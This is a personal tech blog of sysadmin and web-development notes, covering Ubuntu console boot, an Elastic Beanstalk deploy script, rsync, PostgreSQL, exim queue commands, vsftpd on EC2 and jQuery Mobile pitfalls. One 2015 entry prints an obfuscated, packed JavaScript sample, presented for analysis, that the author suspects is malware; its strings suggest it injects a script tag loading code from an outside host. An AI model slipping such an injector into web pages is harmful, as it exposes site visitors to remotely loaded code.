Wednesday, February 10, 2016

boot ubuntu 11.04 desktop direct into console (text) but switch to GUI whenever you want

I followed this steps to boot directly into console mode... After lofin, the command startx shows the GUI..

taken from: http://askubuntu.com/questions/74645/possible-to-install-ubuntu-desktop-and-then-boot-to-no-gui


 did following
Step 1 First update your repository by running
sudo apt-get update
Step 2 There is some bug in old version of lightdm, so we need to upgrade the same. To do so run,
sudo apt-get install lightdm
Step 3 Now we have to modify grub config. Step 3a Open /etc/default/grub with your faviourite editor and change
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
to
GRUB_CMDLINE_LINUX_DEFAULT="text"
Step 3b Also comment GRUB_HIDDEN_TIMEOUT=0 This line is for unhiding the GRUB menu
Step 4 Now we will upgrade GRUB configuration
sudo update-grub
Step 5 Ubuntu 11.10 Desktop edition use lightdm for GUI. We need to disable the same
sudo update-rc.d -f lightdm remove
Step 6 Now restart your machine.

Monday, February 8, 2016

script to push to Amazon Elastic Beanstalk (EB) using the CLI and Git with downtime (swapping environments)

I wanted to automate pushing to my Elastic Beanstalk Amazon environment...

here is the simple script I came up with:

requirements:
- you should be able to upload a new version already using Git
- have the EB CLI 3.7.2 (Python 3.4.3) configured in the directory where you are running this script

- copy this script into the directory that you are going to upload
- give the script execution permissions
- eb list should have a current environment (depicted with a '*')

#!/bin/bash
set -e
#get the current environment
/usr/local/bin/eb list > temp_environment
temp_environment=$(grep \* temp_environment | cut -f2 -d" ")

echo
echo
echo "detected environment ->$temp_environment<-"
echo "subtitute this environment y/N"

read answer

if [ "$
answer" =  "y" ]; then
        a=1
else
        echo "your answer was $
answer. byee!"
        exit 1
fi

echo "substituting environmet with current version"

echo
echo

sufijo=`date +%a%y%m%d%H%M%S`

ambiente_sin_sufijo=$(echo $temp_environment | cut -d"-" -f1)
sufijo_ambiente=$(echo $temp_environment | cut -d"-" -f2)

dayname=$(echo $sufijo_ambiente | cut -c1-3)
year=$(echo $sufijo_ambiente | cut -c4-5)
mon=$(echo $sufijo_ambiente | cut -c6-7)
day=$(echo $sufijo_ambiente | cut -c8-9)
hour=$(echo $sufijo_ambiente | cut -c10-11)
min=$(echo $sufijo_ambiente | cut -c12-13)
sec=$(echo $sufijo_ambiente | cut -c14-15)

set -x

echo "New version uploaded to EB: `date`" > gitlog.temp
echo ""  >> gitlog.temp
echo "The files that changed since last time are:"   >> gitlog.temp
echo ""   >> gitlog.temp

set -f
git log --name-only --no-color --graph '--pretty=format:%h - %s' --abbrev-commit --since "20$year-$mon-$day $hour:$min:$sec" >> gitlog.temp


ambiente_final="prod"-"$sufijo"

echo "Deploying to: $ambiente_final and then swapping with: $temp_environment"
echo "do you wish to continue? s/N"

read respuesta

if [ "$respuesta" =  "s" ]; then
        a=1
else
        echo "su respuesta fue $respuesta, entonces salimos. chao!"
        exit 1
fi


set -x

eb clone "$temp_environment" -n "$ambiente_final" --timeout 15 || exit 1
eb deploy "$ambiente_final" || exit 1
eb swap "$temp_environment" -n "$ambiente_final" || exit 1
eb use "$ambiente_final" || exit 1

set +x

echo
echo
echo
echo FINISHED !!!
echo
echo
echo "Remember to execute -> eb terminate $temp_environment <-"

mail -s "New version" -r "Auto Uploader<no-reply@mail.com>" myemail@mail.com < gitlog.temp

rm gitlog.temp

send text file contents throught mail in bash mail



turns out it is quite simple:

for example:

mail -s 'Uptime Report' you@mail.com -c copy@mail.com < /tmp/output.txt





taken from: http://www.cyberciti.biz/faq/email-howto-send-text-file-using-unix-appleosx-bsd/

Monday, November 30, 2015

using the COPY command in psql client (postgresql)

Useful to export/import data

Here is the syntax for COPY, as returned by the 8.3 client:
db=# \h COPY
Command:     COPY
Description: copy data between a file and a table
Syntax:
COPY tablename [ ( column [, ...] ) ]
    FROM { 'filename' | STDIN }
    [ [ WITH ] 
          [ BINARY ]
          [ OIDS ]
          [ DELIMITER [ AS ] 'delimiter' ]
          [ NULL [ AS ] 'null string' ]
          [ CSV [ HEADER ]
                [ QUOTE [ AS ] 'quote' ] 
                [ ESCAPE [ AS ] 'escape' ]
                [ FORCE NOT NULL column [, ...] ]

COPY { tablename [ ( column [, ...] ) ] | ( query ) }
    TO { 'filename' | STDOUT }
    [ [ WITH ] 
          [ BINARY ]
          [ OIDS ]
          [ DELIMITER [ AS ] 'delimiter' ]
          [ NULL [ AS ] 'null string' ]
          [ CSV [ HEADER ]
                [ QUOTE [ AS ] 'quote' ] 
                [ ESCAPE [ AS ] 'escape' ]
                [ FORCE QUOTE column [, ...] ]

Sunday, November 29, 2015

Re Blog - Remove the Endnote Separator Line in Word 2013

I finally found a way to remove the annoying end note separator (line) in Word 2013

It was here:https://uknowit.uwgb.edu/page.php?id=50456

  1. Go to View->Draft
  2. References->Show Footnotes
  3. Delete the footnote separator
Voilà!

Remove the Endnote Separator Line in Word 2013

Follow these steps to remove the Endnote separator line in Word 2013.
  1. Below is an example of an endnote separator line. (Below the words "Human Resources") *Note the endnotes are in green.

    Endnote1.png
  2. Select the View tab. From the Views group, select Draft.

    Endnote2.png
  3. To display the Endnote options, select the Reference tab, and then "Show Notes" from the Footnotes group.

    EndNote3.png


  4. From the Endnotes drop-down box, select "Endnote Separator".  Select the separator line and press your delete key.

    Endnote4.png


  5. Switch back to Page Layout view and note that the separator line has been deleted.

    Endnote5.png

Wednesday, September 30, 2015

Rsync tricks and how to rsync only one type of files by extension

Rsync is a wonderful tool. It has many options.

But to sync only a file type among many files in a dir eluded me.

After some googling I found this command:

rsync -rv --include '*/' --include '*.js' --exclude '*' --prune-empty-dirs Source/ Target/

I found it on this blog: https://silentorbit.com/notes/2013/08/rsync-by-extension/

How to rsync only one type of files by extension

Having a file structure full of various file types you want to sync only files of one type into a new location.
rsync -rv --include '*/' --include '*.js' --exclude '*' --prune-empty-dirs Source/ Target/
This will generate the same structure found in Source into Target but only including the JavaScript(.js) files.
Note the usage of ' around the arguments containing * since we don't want it to be expanded in a bash shell.
The first --include '*/' is to make sure sub-directories are scanned. This would also include all directories does not include the file you want resulting in empty directories in Target. To remove these empty directories we use --prune-empty-dirs
The --include '*.js' is rather self explanatory, and you can add more as you need.
Finally we exclude all other files we don't want using --exclude '*'


Thank you very much!

Monday, August 3, 2015

Owner of tables in postgresql

I though of re blogging this: http://cully.biz/2013/12/11/postgresql-getting-the-owner-of-tables/

Although for some strange reason the particular table I want to know the owner does not appear in the list, yet all other ones do (oh, Murphy!)

select t.table_name, t.table_type, c.relname, c.relowner, u.usename
from information_schema.tables t
join pg_catalog.pg_class c on (t.table_name = c.relname)
join pg_catalog.pg_user u on (c.relowner = u.usesysid)
where t.table_schema='public';

Thursday, June 25, 2015

How to analyze obfuscated javascript to see if it's malware


UPDATE: I think know that the ClamAV antivirus tool is much better way to deal with this...

I had to analyze a obfuscated javascript code.

I found a nifty tool to do the job: http://wepawet.iseclab.org/

Here are before... this I believe is malware...

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('12(T(p,a,c,k,e,d){e=T(c){U(c<a?\'\':e(1f(c/a)))+((c=c%a)>1e?W.1d(c+1h):c.13(11))};X(!\'\'.V(/^/,W)){Y(c--){d[e(c)]=k[c]||e(c)}k=[T(e){U d[e]}];e=T(){U\'\\\\w+\'};c=1};Y(c--){X(k[c]){p=p.V(10 14(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}U p}(\'v(l(p,a,c,k,e,d){e=l(c){m c.n(z)};q(!\\\'\\\'.t(/^/,B)){r(c--){d[c.n(a)]=k[c]||c.n(a)}k=[l(e){m d[e]}];e=l(){m\\\'\\\\\\\\w+\\\'};c=1};r(c--){q(k[c]){p=p.t(C D(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c])}}m p}(\\\'1 4=4||[];(b(){1 2=5.e(\\\\\\\'7\\\\\\\');2.a=\\\\\\\'8://9.d.f/k.6?//i.6?g\\\\\\\';1 3=5.j(\\\\\\\'7\\\\\\\')[0];3.h.c(2,3)})();\\\',o,o,\\\'|y|u|s|E|x|A|G|Q|N|P|l|R|S|O|L|M|F|H|I|K\\\'.J(\\\'|\\\'),0,{}))\',Z,Z,\'|||||||||||||||||||||T|U|13|17||X|Y||V|1m|12||1q|1r|11|1n|W|10|14|1l|1o|1c|1k|1i|15|1j|1s|1p|1g|19|18|16|1b|1a\'.15(\'|\'),0,{}))',62,91,'|||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|replace|String|if|while|55|new|36|eval|toString|RegExp|split|http|21|src|createElement|tongjii|insertBefore|script|fromCharCode|35|parseInt|lib|29|getElementsByTagName|tj|google|_hmt_en|hm_en|js|parentNode|41d12a21b4e1a726d4a651685b118811662033874|document|var|us'.split('|'),0,{}))


Friday, June 12, 2015

exporting schema's create tables only from postgres

I wanted to export only the CREATE TABLEs from a postgresql database, so I did

pg_dump -h HOST -s databasename -O -U user -W | awk 'RS="";/CREATE TABLE[^;]*;/' 

substituting a function name with sed and find

I needed to change a

function foo('', '', 'whatever') 

to a

bar('whatever')

in a bunch of files.

There are many ways to do this, I decided to edit directly the files with good ol' find & sed

find . -name "*.js" -exec sed --in-place -re "s/foo\([^,]*,[^,]*,[^'\"]*(['\"])(.*)\1/bar('\2')/g" {} \;

options:
-r: Key points where to use the full extended regular expression
-r: expression
\1: notice I match the initial ' or " with a back reference!

Tuesday, May 19, 2015

force basg to write history after each command in bash console linux/psql client

This is the reductio

in bash.bashrc or .bashrc find and substitute accordingl

shopt -s histappend
PROMPT_COMMAND = ...whatever you already have ....
PROMPT_COMMAND="history -a;$PROMPT_COMMAND"

Wednesday, April 1, 2015

Updating dynamic IP (A record) from a hosted zone on Amazon's Route53 (AWS R53)

One of my servers has a dynamic IP. I needed to update AWS R53 service to point at the new IP whenever it changes.

I found this script https://github.com/holgr/php-ddns53 which is a PHP script that you can put in cron to update R53 on a minute basis.

I installed it today, we'll see how it works.

I imagine that a better way to do it would be to use AWS to check if the domain is down (maybe because its pointing to the wrong IP), and in that case use this PHP script.

But this quick-n-dirty should be enough.

how to configure Firefox to use an SSH tunnel with putty

It's pretty straight forward.

Open putty, configure you session by going to this screen, configure as you see and click Add.




Then on Firefox, go to Tools->Option->Advanced->Network, and configure as seen here (if you used other port than 1234, be sure to put it here accordingly):




Click OK and that's it!

Now you have to connect to the putty session you configured and voilà.

Saturday, November 23, 2013

Joomla 3.2 and captcha not appearing

So I activated Joomla 3.2's captcha feature for contact forms.

It turned out it wasn't appearing.

So I followed this tutorial (must do) but still it wasn't working.

It didn't took much to realize I had still to fix some bugs in the lines 23-24 of the file plugins\captcha\recaptcha\recaptcha.php

I changed those lines so they read:

 const RECAPTCHA_API_SERVER = "http://www.google.com/recaptcha/api";
 const RECAPTCHA_API_SECURE_SERVER = "https://www.google.com/recaptcha/api";
 const RECAPTCHA_VERIFY_SERVER = "http://www.google.com";

Bottom line, the "http://" was missing...

And after that it worked like a charm : )


Wednesday, October 30, 2013

scanning exim frozen mails for spam

I had a bunch of frozen emails. I wanted to be sure there was no spam. I did this command:


exim -bp | awk '{if ($3!="") {print "newMessage"; system("exim -Mvb " $3) } }' | awk 'BEGIN{RS="newMessage"} !/different string|I do not want|to include inside|mails/{print $0}' | less

So I ignore mails containing certain words and remain only with those strange mails.

I discovered I had sent no spam, but instead I had received undeliverable mail which mas kept frozen.

Thursday, October 17, 2013

exim commands

Delete queue:

sudo exim -bp | awk '{print $3}' | xargs exim -Mrm


extracting mailing script out of exim queue, using awk

This is a nice command I came to:

exim -bp | awk '{ if ($3 neq '') system("exim -Mvh " $3) }' | grep Script | awk '{ print $3}' | sort

It prints the scripts of my server that have send mail.

It is also useful the mail.log php directive, that logs a lot of information of every script that send mail with mail() in php.

Saturday, September 7, 2013

guide to effectively configure vsftp with chroot'ed users on Amazon EC2

VSFTP is fast and secure FTP server.

It is easy to configure. I needed it to work with Amazon EC2. Here's how.

I took this guide: http://blog.liwen.name/configure-vsftpd-on-amazon-ec2/148

Configure vsftpd on Amazon EC2

There are quite a few FTP server options available for Debian: ProFTPDPure-FTPd and wu-ftpd to name a few. Here we opt forvsftpd (very secure FTP daemon), the default FTP server included in Ubuntu, CentOS, Fedora and some other Linux distributions.

Install

apt-get update apt-get install vsftpd

Configure vsftpd

The configuration file /etc/vsftpd.conf of vsftpd is very well commented. Read it through if you want to, otherwise here are a few changes need to be made in order to get it to work with Amazon EC2. The explanation of these changes are mostly quoted from manpages of vsftpd configure package.
nano /etc/vfstpd.conf
First let’s disable anonymous logins:
anonymous_enable=NO
Enable local logins to allow local users to connect via FTP, this must be enabled for any non-anonymous login to work.
local_enable=YES
Give FTP users write permission:
write_enable=YES
Disnable PORT style data connections with port 20. It makes vsftpd run with slightly less privilege.
connect_from_port_20=NO
Restrict local users (all FTP users) in chroot jails (their home directory):
chroot_local_user=YES
To set proper permissions for files(644) and directories(755):
local_unmask=022
Specify a range of ports for vsftpd to run PASV connections
pasv_max_port=12100
pasv_min_port=12000
After setting up the port range, go to your EC2 console and open the ports specified above, also don’t forget to open the default ftp port 21.
It turns out that vsftpd advises the incomming PASV command the internal IP of EC2 instance, which FTP clients would not be able to resolve. To solve this problem, we explicitly tell vsftp to use our public IP address instead of asking the server for it. If you don’t have an Elastic IP associated with the instance, you will need to enable pasv_addr_resolve and provide your public DNS.
pasv_address=your.public.ip.address
That is all we have to do with vsftpd.conf for now. Next let’s setup our first FTP user.

Setup FTP users

To enable group-based FTP access and also make things more organised, create a dedicated FTP user group.
addgroup ftpusers
Next create our first FTP user:
useradd -d /home/web/your/root/ftp/dir/for/the/user -s /usr/sbin/nologin -g ftpusers devuser
Here we added a new user devuser with home directory /home/web/your/root/ftp/dir/for/the/user, we obviously do not want FTP users to have shell access, -s option sets user’s shell to nologinNote: don’t forget to add nologin into/etc/shells, otherwise FTP users may not be able to login via FTP clients.
echo "/usr/sbin/nologin" >> /etc/shells
Set a password for the user:
passwd devuser
To allow FTP users to read and write files in their chroot jails (home directories), we need to let FTP users take ownership of their home directories and give them proper permission.
chown -R devuser /home/web/your/root/ftp/dir/for/the/user
chmod 775 /home/web/your/root/ftp/dir/for/the/user
Create a userlist for vsftpd and add all FTP users into the list – one user per line:
touch /etc/vsftpd.userlist
nano /etc/vsftpd.userlist
The userlist file should look like this:
devuser
user2
user3
Save /etc/vsftpd.userlist, reopen /etc/vsftpd.conf and add the following lines to the end of the file:
userlist_enable=YES
userlist_file=/etc/vsftpd.userlist
If you only want to allow the users in the userlist to login and deny anyone else, you can also set:
userlist_deny=NO
Now save the file, restart the vsftpd service.
/etc/init.d/vsftpd restart
Phew, that’s it, now you have successfully configured vsftpd on Amazon EC2 instance.

Friday, August 2, 2013

common pitfalls using phonegap + jquerymobile

I fell in quite a few of these... :

(taken from: http://rip747.wordpress.com/2012/04/19/pitfalls-with-jquery-mobile-and-how-to-over-come-them/)

Pitfalls with jQuery Mobile and how to over come them

Posted in Jqueryjquery mobile by rip747 on April 19, 2012
At work I’ve been tasked with creating a mobile app using jQuery Mobile and Phonegap. Needless to say, I’ve had nothing but issues. Below are some of the pitfalls that I’ve been running into and how to over come them. This post is a work in progress and I will add to it as things come up.
1) When creating additional pages, ONLY include the `data-role=”page”`.
First, let me explain what I mean by data-role=”page”. When you create your index.html for your jQuery Mobile project, you set it up like so:
<!– index.html –>
<!DOCTYPE html>
<html>
<head>
<title>My Project</title>
<meta name=”viewport” content=”width=device-width, initial-scale=1″/>
<link rel=”stylesheet” href=”css/jquery.mobile-1.1.0.min.css” />
<script type=”text/javascript” charset=”utf-8″ src=”js/jquery-1.7.1.min.js”></script>
<script type=”text/javascript” charset=”utf-8″ src=”js/jquery.mobile-1.1.0.min.js”></script>
<script type=”text/javascript” charset=”utf-8″ src=”js/phonegap-1.4.1.js”></script>
</head>
<body>
<div data-role=”page” id=”home”>
<div data-role=”header”>
<h1>Your header</h1>
</div>
<div data-role=”content”>
<p>The content goes here</p>
</div>
<div data-role=”footer”>
<p>The footer goes here</p>
</div>
</div>
</body>
</html>
Notice that we have our opening html tag, our head section with all our stylesheets and javascript includes, our opening body tag, our page div (containing the head, content and footer of the page), our closing body tag and closing html tag. This is standard when creating a html page and something we’re all use to.
Now let’s say you want to create another page called search.html. You would think that you would need to copy the head  section, body and html tags to the search.html page, but THIS IS WRONG! All the search.html page would contain is the page div like so:
<!– search.html –>
<div data-role=”page” id=”search”>
<div data-role=”header”>
<h1>Search</h1>
</div>
<div data-role=”content”>
<p>The form used to search</p>
</div>
<div data-role=”footer”>
<p>The footer goes here</p>
</div>
</div>
The reason for this is that jQuery Mobile will inject the search.html page’s content into the index.html via ajax. Because of this, if you put the html, head, and body tags into your search.html page, they will get duplicated. This can cause all sorts of issues that I won’t even go into. Just remember that you only need the html, head and body tags on the index.html page.
2) Disable ajax caching globally
Supposedly in jQuery Mobile disabled ajax caching of pages in 1.1.0. However, I was still having issue with the pages being cached so this was making development a real pain. Luckily you can disable ajax caching altogether by doing:
<script>
$.ajaxSetup ({
// Disable caching of AJAX responses
cache: false
});
</script>
Just put that in your head section on your index.html page and you should be golden.
3) Multiple events firing
This was a HUGE pain in the ass. You normally see this problem when submitting a form from one page to another. On the calling page, you might have some javascript that is bound to an event (like pageshow) that generates some dynamic content after doing an ajax call. If you look in your Net tab in firebug, you’ll notice that the ajax call will increment with each visit. So on the first visit it fires once, the second visit it fires twice and so on. The reason for this is because, again, of the way jQuery Mobile pulls in pages via ajax. Because it will pull the page in for each visit, it will continually add the code you want to run to the event stack on each visit.
Now I’ve seen people try to solve this by placing the code in the `pageinit` event since that only fires the first time the page in pulled via ajax, but this doesn’t work when you’re having to create dynamic content based on a search string.
The solution is quite simple once you think about it, just put your code on the index.html and delegate using the on() method. so for instance, if you have page with an id of `search` and you want to run an ajax request to get the results, you would do:
$(document).on(‘pageshow’, ‘#search’, function(){
// add code to get the search results via ajax here
});
Personally I would recommend that you put all the javascript code for your app in a js file and include that on your index.html page.
4) When inserting dynamic content into the DOM you must call trigger(‘create’) in order for the framework to apply the styling.
For my app, I have a function that automatically add pagination buttons (previous and next) to the footer. In my template the footer is just defined plainly:
<div data-role=”footer”></div>
In my javascript code, I add the pagination by calling the html() method on the footer object (code is summarized):
var loc = {};
loc.self = $(this);
loc.footer = $(‘[data-role="footer"]‘, loc.self);
loc.footer.html(pagination(loc.params.page, loc.results.PAGES));
The issue was that none of the styling was taking affect on the footer and the prev and next button were showing up as just links. I found in the jQuery Mobile form that you should call page() on the object after altering it, but this really didn’t work. After some more search I found that what I really need to do was call trigger(‘create’) on the object instead. the nice thing is that you can chain this after the html() call and it still works:
loc.footer.html(pagination(loc.params.page, loc.results.PAGES)).trigger(‘create’);
5) When creating a dynamic listview and inserting content into it, you need to call listview() and then listview(‘refresh’) to reapply the styling.
This is basically the same problem as #4 only this time we’re dynamically creating a listview an inserting content into it. In my app, I use Liquid as a templating language as it’s just making life soooo much easier then concatenating javascript strings. So to create my list view, I have it defined in my Liquid template like so:
<script type=”text/liquid” id=”arrestSearchResults-markup”>
{% if RESULTS.size %}
<ul id=”arrestSearchResults-listview” data-role=”listview”>
{% for item in RESULTS %}
<li>
<a href=’{{LINK}}&jms_number={{item.JMS_NUMBER}}’ class=’arrestSearch-details’>
<img src=’{{item.PHOTO_THUMB}}’ />
<h3>{{item.LAST_NAME}}, {{item.FIRST_NAME}} {{item.MIDDLE_NAME}}</h3>
<p>{{item.JAIL}}</p>
</a>
</li>
{% endfor %}
</ul>
{% else %}
<h3>No records found</h3>
{% endif %}
</script>
The target content div is defined plainly, just like my footer is in #4:
<div data-role=”content”></div>
to compile the template and insert it into the content div, I do the following in my code (code is summarized):
var loc = {};
loc.self = $(this);
loc.markup = $(“#arrestSearchResults-markup”).html();
loc.target = $(‘[data-role="content"]‘, loc.self);
// render the markup to the listview
loc.target.html(Liquid.Template.parse(loc.markup).render(assigns));
// refresh the listview
loc.target.find(‘ul’).listview();
loc.target.find(‘ul’).listview(‘refresh’);
Basically what I’m doing is getting the template markup and the content div and putting them into a variables. I then compile the Liquid template and pass in the assigns object that contains the information to render the template.
The key to all of this is the next two lines which finds the unsorted list (‘ul’) which contains the listview a just injected into the content div and calls listview() on it, this tell jQuery Mobile to treat the ul as a listview object. I then call listview(‘refresh’) to have the framework apply the styling to it.
6) When performing validation on a form, the form will still submit.
Here is the setup. You have a form and you’re trying to perform some sort of validation on it when the form is submitted and show the visitor some errors. You tie your validation to the form’s submit event using submit() and include event.preventDefault() good measure when any error occur. However, the form still submits even though errors are through, the event.preventDefault() does prevent the form from not submitting. Heck, you even throw in `return false` hoping the form won’t submit, but it still does.
The issue is that the form is being submitting via ajax and you can’t stop the ajax submission from happening through standard means. The only thing you can do is turn off ajax and submit the form yourself. Now in older versions of the framework, you could turn off ajax for form submissions separately, however in the latest version (1.1.0) you can only turn off ajax globally by setting `ajaxEnabled` to false. This sucks as you most likely want all the ajax goodness, just not on form submission.
The way around the is to add `data-ajax=”false”` to the form:
<form id=”myform” action=”somepage.html” method=”get” data-ajax=”false”>
The will prevent the form from being submitted via ajax. Now the fun part if how in the world are you going to submit the form data to the action page using ajax so you get that nice ajax spinner thingy when you’ve turn ajax off? The answer is manually submit the form data by serializing it and appending it to form’s action attribute. Then use `$.mobile.changePage()` to submit the data via ajax. Below is a little helper function I wrote to do this:
submitForm = function(formid){
var form = $(“#” + formid);
var page = [];
page.push(form.attr(‘action’));
page.push(form.serialize());
$.mobile.changePage(page.join(‘?’));
}
To use, just call submitForm(‘your form id’) and it will handle the submission for you:
submitForm(“myform”);
7) Calling trigger(‘create’) on date-role=”header” has no effect
Though you need to call trigger(‘create’) on the data-role=”content” when adding dynamic content for it to style properly, this doesn’t hold true for data-role=”header”. The solution is to call trigger(‘pagecreate’) instead.

Wednesday, May 29, 2013

asynchronous php thread (asynchronous cake shell execution)

While cumbersome if not impossible to actually manage threads in PHP, you can always execute in background a php script.

Here's how:

While in a cakephp framework method (of course the important details are the ones in colored background):

$str = 'path/to/cakelib/cake/console/cake -working '.ROOT . DS . APP_DIR.' -app ' . ROOT . DS . APP_DIR . ' my_shell_script > /dev/null 2> '.LOGS.'my_log.log &';

exec($str, $output2, $status);




I used the ideas from this post: http://stackoverflow.com/questions/222414/asynchronous-shell-exec-in-php

This answer:
If it "doesn't care about the output", couldn't the exec to the script be called with the & to background the process?
EDIT - incorporating what @AdamTheHut commented to this post, you can add this to a call to exec:
"> /dev/null 2>/dev/null &"
That will redirect both stdio (first >) and stderr (2>) to /dev/null and run in the background.
There are other ways to do the same thing, but this is the simplest to read.

An alternative to the above double-redirect:
" &> /dev/null &"


cancel script completely on ctrl-c

I found this question interesting: basically how to cancel completely a script and all child processes : You do this by creating a subro...